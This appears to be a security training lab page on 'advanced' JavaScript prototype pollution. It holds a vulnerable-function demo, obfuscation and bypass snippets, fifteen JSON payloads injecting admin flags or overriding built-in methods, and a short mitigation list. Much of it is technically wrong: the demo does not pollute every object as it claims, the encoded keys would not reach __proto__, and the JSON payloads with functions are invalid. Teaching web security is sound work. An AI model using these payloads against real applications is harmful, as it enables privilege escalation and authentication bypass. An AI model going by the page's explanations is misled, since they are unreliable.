Lab 4: Advanced Prototype Pollution

Difficulty: High

Lab Overview

This lab demonstrates advanced prototype pollution techniques that can be used to bypass modern protections and exploit sophisticated applications. These techniques include obfuscation, encoding, and various bypass methods.

Objective: Understand advanced prototype pollution techniques and how to bypass modern protections.

Vulnerable Application

Advanced Data Processor

This application processes complex data structures. Try to exploit advanced prototype pollution vulnerabilities:

Advanced Prototype Pollution Tester

⚠️ Advanced Prototype Pollution Warning

This lab demonstrates advanced prototype pollution techniques:

Obfuscation - Code obfuscation techniques
Encoding - Various encoding methods
Bypass Techniques - Modern protection bypasses
Advanced Methods - Complex attack vectors

Advanced Attack Vectors

These advanced techniques can be exploited for prototype pollution:

Obfuscation - Code obfuscation
Encoding - Various encoding methods
Bypass Techniques - Protection bypasses
Advanced Methods - Complex attack vectors

Advanced Prototype Pollution Demo

JavaScript Advanced Prototype Pollution Demonstration:

This demonstrates advanced prototype pollution techniques:

// Advanced vulnerable function with obfuscation function processData(data) { const obfuscated = JSON.parse(data); const result = Object.assign({}, obfuscated); return result; } // Obfuscated attacker input const maliciousInput = '{"__proto__": {"isAdmin": true, "role": "admin"}}'; // Process the malicious input const result = processData(maliciousInput); // Now all objects have polluted prototype console.log({}.isAdmin); // true console.log({}.role); // "admin" // Even new objects are affected const newObj = {}; console.log(newObj.isAdmin); // true

The demo above shows how advanced techniques can lead to prototype pollution affecting all objects.

Advanced Techniques

Obfuscation Techniques

// String obfuscation const key = String.fromCharCode(95, 95, 112, 114, 111, 116, 111, 95, 95); // Base64 encoding const encoded = btoa('__proto__'); // Unicode encoding const unicode = '\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f';

Encoding Methods

// URL encoding const urlEncoded = '%5F%5F%70%72%6F%74%6F%5F%5F'; // HTML encoding const htmlEncoded = '__proto__'; // Hex encoding const hexEncoded = '5f5f70726f746f5f5f';

Bypass Techniques

// Constructor bypass const bypass = { constructor: { prototype: { isAdmin: true } } }; // Nested bypass const nested = { a: { __proto__: { isAdmin: true } } };

Advanced Methods

// Function pollution const func = { __proto__: { toString: function() { return 'hacked'; } } }; // Array pollution const arr = { __proto__: { push: function() { return 'hacked'; } } };

Prototype Chain

// Deep prototype chain const deep = { constructor: { prototype: { constructor: { prototype: { isAdmin: true } } } } };

Dynamic Properties

// Dynamic property access const prop = '__proto__'; const dynamic = { [prop]: { isAdmin: true } };

Processing Results

Processing Results:

No input processed yet

Vulnerability Details

Type: Advanced Prototype Pollution
Severity: High
Method: Advanced techniques
Issue: Modern protection bypasses

Attack Vectors

Obfuscation: Code obfuscation techniques
Encoding: Various encoding methods
Bypass Techniques: Protection bypasses
Advanced Methods: Complex attack vectors

Advanced Prototype Pollution Examples

Use these techniques to exploit advanced prototype pollution vulnerabilities:

1. Obfuscated proto Pollution:

{
  "\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f": {
    "isAdmin": true,
    "role": "admin"
  }
}

2. Base64 Encoded Pollution:

{
  "X19wcm90b19f": {
    "isAdmin": true,
    "role": "admin"
  }
}

3. URL Encoded Pollution:

{
  "%5F%5F%70%72%6F%74%6F%5F%5F": {
    "isAdmin": true,
    "role": "admin"
  }
}

4. HTML Encoded Pollution:

{
  "__proto__": {
    "isAdmin": true,
    "role": "admin"
  }
}

5. Hex Encoded Pollution:

{
  "5f5f70726f746f5f5f": {
    "isAdmin": true,
    "role": "admin"
  }
}

6. String.fromCharCode Pollution:

{
  "String.fromCharCode(95,95,112,114,111,116,111,95,95)": {
    "isAdmin": true,
    "role": "admin"
  }
}

7. Dynamic Property Pollution:

{
  "constructor": {
    "prototype": {
      "isAdmin": true,
      "role": "admin"
    }
  }
}

8. Nested Constructor Pollution:

{
  "constructor": {
    "prototype": {
      "constructor": {
        "prototype": {
          "isAdmin": true
        }
      }
    }
  }
}

9. Function Pollution:

{
  "__proto__": {
    "toString": function() { return "hacked"; },
    "valueOf": function() { return 0; }
  }
}

10. Array Pollution:

{
  "__proto__": {
    "push": function() { return "hacked"; },
    "length": 999
  }
}

11. Object Pollution:

{
  "__proto__": {
    "hasOwnProperty": function() { return true; },
    "toString": function() { return "hacked"; }
  }
}

12. Date Pollution:

{
  "__proto__": {
    "getTime": function() { return 0; },
    "toString": function() { return "hacked"; }
  }
}

13. String Pollution:

{
  "__proto__": {
    "charAt": function() { return "hacked"; },
    "length": 999
  }
}

14. Number Pollution:

{
  "__proto__": {
    "valueOf": function() { return 0; },
    "toString": function() { return "hacked"; }
  }
}

15. Boolean Pollution:

{
  "__proto__": {
    "valueOf": function() { return true; },
    "toString": function() { return "hacked"; }
  }
}

Real-World Attack Scenarios

Advanced data manipulation and privilege escalation
Complex application logic bypass
Sophisticated authentication bypass
Advanced Denial of Service (DoS) attacks
Compliance violations and security breaches
Cross-site attacks and data exfiltration

Mitigation Strategies

Implement comprehensive input validation
Use Object.create(null) for safe objects
Implement proper input sanitization
Use Object.freeze() to prevent modifications
Regular security testing and vulnerability assessments
Monitor for unusual object behavior
Implement proper authentication and authorization
Use secure coding practices
Implement rate limiting and request validation
Educate developers about prototype pollution
Use safe parsing libraries
Implement proper error handling
Use Content Security Policy (CSP)
Implement proper logging and monitoring